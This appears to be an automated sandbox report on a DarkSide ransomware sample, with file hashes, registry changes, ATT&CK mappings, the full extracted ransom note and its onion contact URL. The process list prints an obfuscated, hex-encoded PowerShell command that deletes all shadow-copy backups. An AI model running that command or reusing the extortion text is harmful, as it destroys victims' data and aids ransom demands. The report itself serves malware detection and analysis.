darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
135s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:36

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Report Analysis Logs

General

Target

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Size

59KB
MD5

e44450150e8683a0addd5c686cd4d202
SHA1

8c482a0eed33c8a4542c3cb2715a242f2259343d
SHA256

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5
SHA512

7d65d22ad630fd77c50e277a44fdcc46fa86235c93524f9751ac9ddf0ce19261707fab631108fc908a71029900dbf6ada119d607edfadc3ce309f86a9c3765fe
SSDEEP

768:Qbj6iIq6oSqww3/T8K5UWCTxdCCDSbVrdNcxGV1ylwPhpuc:s6VqwwvAKa/TxoCODTV1ylEc

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.17069ebc.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. We downloaded a lot of interesting data from your network. If you need proofs, we are ready to give it. The data is preloaded and will be automatically published if you don’t pay. Your data will be available after automatic publication for free downloading at least 6 months at our tor cdn servers. If within 3 days you don't contact with us, we will send press-releases about this accident to major media outlets, after another 3 days after sending press-releases we will start to upload your private data. Here is the list of information that we copied from your network: Passports and visas from: DOCUMENTS-RED SEA PROJECT DOCUMENTS-VISIT VISA EMPLOYEES IQAMA & PASSPORTS FOR SWAB TEST SCAN DOCUMENTS Contracts and passports as well as test results for SARS-COV19 from: CONTRACT COVID 19 Status Report Passport and photo Accounting & Financing We also copied information from the following departments: RAKFIN RAKHSE RSPDC RSPFIN RSPQLTP RSPSTO RSPTEC SAJSPFIN RSPQLT RAKEENG We paid a lot of attention to the personal data of employees as well as the drawings of your projects You must understand that if information about your developments gets publicly available: 1) your clients data can be used by criminals 2) your clients will fill lawsuit against you 3) government regulators will fine you for data breach, if you have in clients at least one EU resident then you will be also fined by EU government by GDPR law with millions of dollars of fine or permit ban for working with EU citizents. US has the similar laws, but they are not so costly, however the total cost will exceed the asked amount from you, so our offer is the best deal for you to resolve this issue. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3 When you open our website, put the following data in the input form: Key: zm7QxFcBLUS2PdXT2XI4gIg6FuXOMT67rYgWK4ZdNE3jt6R6skLNBCiW7ryVA7ej438jGLsBzZ1mog9YLjglfFG3Ezw57Ks0jJQZMO2AokEchnlupHVbK7ZTlk4kDSMP79vNfLUDI8ppzxNTOtcWQLTtzxCI7zb6ufHXbQe5xQUJvwTJbRVmcNib462NddZoyQ0zjKh8GsEPEfQBCkTtiYR8aVMlr0GBQKzQvDmmBks9y0IupRiKMbGf607vVNegtZXEUFXOfhQfnUwOYUAkX4t83P4eQKbPaFTYpasoEC7Xm0XU1SaX3KAagaqDaIH69YQYZOJZaTrc5NtsPPRH7R1HlOMZP2bC3GMsbLaK91saXy9FcDZpn9AFkVVQHlV9xov5GzZ5GMtxb9QUcpth5a12WpVKpi5wdKNc3H3Q4jNqQjkxUJcM35X9Dkie8LKOYvC039zvnTcClzqhNza6mXhgcd7rGSWQZ6EoJ9yn6LOEf8bwjIoHrGqoYQwS6F7ZWeLd5VtbUGE7iObjGj6vdFjqhKLOxeuNhGx4ZyZ5ZR6e5K7uvLZWmYq !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (140) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\17069ebc.BMP"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\17069ebc.BMP"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

pid process

5092 691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\Desktop\WallpaperStyle = "10"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Modifies registry class 5 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\17069ebc\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\17069ebc.ico"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.17069ebc	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.17069ebc\ = "17069ebc"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\17069ebc\DefaultIcon	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\17069ebc	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exepowershell.exe

pid	process
5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
4876	powershell.exe
4876	powershell.exe
5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSecurityPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeTakeOwnershipPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeLoadDriverPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemProfilePrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemtimePrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeProfSingleProcessPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeIncBasePriorityPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeCreatePagefilePrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeBackupPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeRestorePrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeShutdownPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeDebugPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemEnvironmentPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeRemoteShutdownPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeUndockPrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeManageVolumePrivilege	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 33	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 34	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 35	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 36	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeBackupPrivilege	2372	vssvc.exe
Token: SeRestorePrivilege	2372	vssvc.exe
Token: SeAuditPrivilege	2372	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	pid	process	target process
PID 5092 wrote to memory of 4876	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe
PID 5092 wrote to memory of 4876	5092	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
"C:\Users\Admin\AppData\Local\Temp\691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2372

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oqqhmnyf.5zs.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.17069ebc.TXT
Filesize
3KB

MD5
322ab684a86474788f50834ee39109a9

SHA1
923f7207c35953a432367ea7f81eece15a154a6a

SHA256
0afc4ee409633e3dcfc5185a9d61c9302090099761951b5566cbd69370d85e27

SHA512
37d62ce14ff10c59b8f047bf618cedf666ba450303fddeba9dc42fdeb8d1da5f5ece5fd513e6772508a7a7c2f0975a778bf257cda1fd8b2bb605efb12a474178

Download Submit
memory/4876-5-0x00000211DDF20000-0x00000211DDF42000-memory.dmp

Filesize
136KB

Download
memory/4876-16-0x00000211DBDA0000-0x00000211DBDB0000-memory.dmp

Filesize
64KB

Download
memory/4876-15-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/4876-17-0x00000211DBDA0000-0x00000211DBDB0000-memory.dmp

Filesize
64KB

Download
memory/4876-18-0x00000211DBDA0000-0x00000211DBDB0000-memory.dmp

Filesize
64KB

Download
memory/4876-21-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download